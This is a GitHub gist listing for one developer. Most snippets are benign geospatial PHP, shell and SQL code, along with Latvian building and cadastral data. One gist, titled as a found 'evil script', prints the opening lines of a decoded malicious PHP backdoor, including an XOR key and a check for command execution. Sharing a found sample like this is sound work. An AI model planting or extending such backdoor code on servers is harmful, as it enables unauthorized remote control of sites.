Skip to content

Instantly share code, notes, and snippets.

@laacz
laacz / feedly.js
Last active August 3, 2022 00:23
If you have more than 1k unread entries in Feedly, this is what you do to get full counts
document.querySelector('#feedlyChrome__leftnav-wrapper > div > nav.LeftnavList > div.LeftnavList__feed-list > div:nth-child(2) > div.MockLink.LeftnavListRow.LeftnavListRow--selected > span.LeftnavListRow__count')
.innerText = Array.from(document.querySelectorAll('.LeftnavListRow__count')).map((val) => val === "1K+" ? 0 : parseInt(val.innerText, 10)).reduce((a, b) => a + b)
@laacz
laacz / naive.php
Created January 5, 2022 21:00
Naive postgis MVT tileserver
<?php
require('../vendor/autoload.php');
$dotenv = Dotenv\Dotenv::createMutable(__DIR__ . '/../');
$dotenv->load();
const WORLD_MERCATOR_MAX = 20037508.3427892;
const WORLD_MERCATOR_MIN = -WORLD_MERCATOR_MAX;
const WORLD_MERCATOR_SIZE = WORLD_MERCATOR_MAX - WORLD_MERCATOR_MIN;
@laacz
laacz / ekas.md
Created January 2, 2022 09:13
Lielākās ēkas Latvijā pēc apbūves platības
Tuvākā adrese Ēkas kadastra numurs Zemes gabala kadastra numurs Platība
Ziemeļu iela 19A, Liepāja, LV-3405 17000110026001 17000110026 116650
Augusta Deglava iela 161, Rīga, LV-1021 01000920663009 01000920663 74554
Višķu iela 21S, Daugavpils, LV-5410 05000070063004 05000070141 65722
Višķu iela 17A, Daugavpils, LV-5410 05000071402006 05000071402 63436
Maskavas iela 257, Rīga, LV-1019 01000720108001 01000720108 59598
Brīvības gatve 372, Rīga, LV-1006
@laacz
laacz / import.sh
Last active January 1, 2022 18:42
Kadastrs shapefiles import into PostGIS
#!/usr/bin/env bash
# Download all your data from https://data.gov.lv/dati/lv/dataset/kadastra-informacijas-sistemas-atverti-telpiskie-dati
# Script does the following:
# 1. Creates a single shapefile with all the layers
# 2. Imports all the layers into PostGIS
APPEND=0
LAYERS="KKCadastralGroup KKBuilding KKEngineeringStructurePoly KKParcel KKParcelBorderPoint KKParcelError KKParcelPart KKSurveyingStatus KKWayRestriction"
DB=vzd
# Latvia
# From Liene Kanepe (1998-09-17):
# I asked about this matter Scientific Secretary of the Institute of Astronomy
# of The University of Latvia Dr. paed Mr. Ilgonis Vilks. I also searched the
# correct data in juridical acts and I found some juridical documents about
# changes in the counting of time in Latvia from 1981....
#
# Act No. 35 of the Council of Ministers of Latvian SSR of 1981-01-22 ...
@laacz
laacz / images-decoded.php
Last active April 30, 2021 03:33
Found, ya, evil script!
<?php
###
### XOR key: SjJVkE6rkRYj
###
//adjust system variables
if(!@isset($_SERVER)){$_COOKIE=&$HTTP_COOKIE_VARS;$_POST=&$HTTP_POST_VARS;$_GET=&$HTTP_GET_VARS;}
//die with error
function x_die($m){@header('HTTP/1.1 500 '.$m);@die();}
//check if we can exec
@laacz
laacz / lks-92.php
Last active March 2, 2021 11:20
LKS-92 koordināšu pārrēķins uz platuma un garuma grādiem.
<?php
// Ja šis nedod korektu rezultātu Y asī, atkomentē rindiņu, kur ir "$y -= -6000000.0;"
function LKSToLatLon($x, $y)
{
/* Ellipsoid model constants (actual values here are for WGS84) */
$UTMScaleFactor = 0.9996;
$sm_a = 6378137.0;
$sm_b = 6356752.314;
@laacz
laacz / String-int-extension.swift
Last active September 23, 2020 22:23
String access (set AND get) by int indices or ranges in Swift 5.
/**
*
* Since Swift has no concept of real world String uses, I just had to make this extension.
* With this extension you can set and get following:
*
* Access String by Int index:
* let second = string[1]
*
* Set value by index or range:
* string[1] = "a"
@laacz
laacz / nearest-road.sql
Created May 19, 2012 08:19
PostGIS: Find nearest roads (represented by linestring) to a given point
/*
* Road data comes from OpenStreetmap (http://download.geofabrik.de/osm/)
**/
select st_distance(st_closestpoint(r.the_geog::geometry, wa.location::geometry), wa.location::geometry) as cp
, r.name
, r.ref
, r.ogc_fid
, r.type
, st_astext(wa.location)
, wa.*
@laacz
laacz / desolate.geojson
Last active April 16, 2019 09:27
Visnomaļākie 1x1km pleķi Latvijā (vistālāk no jebkādām ēkām)
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.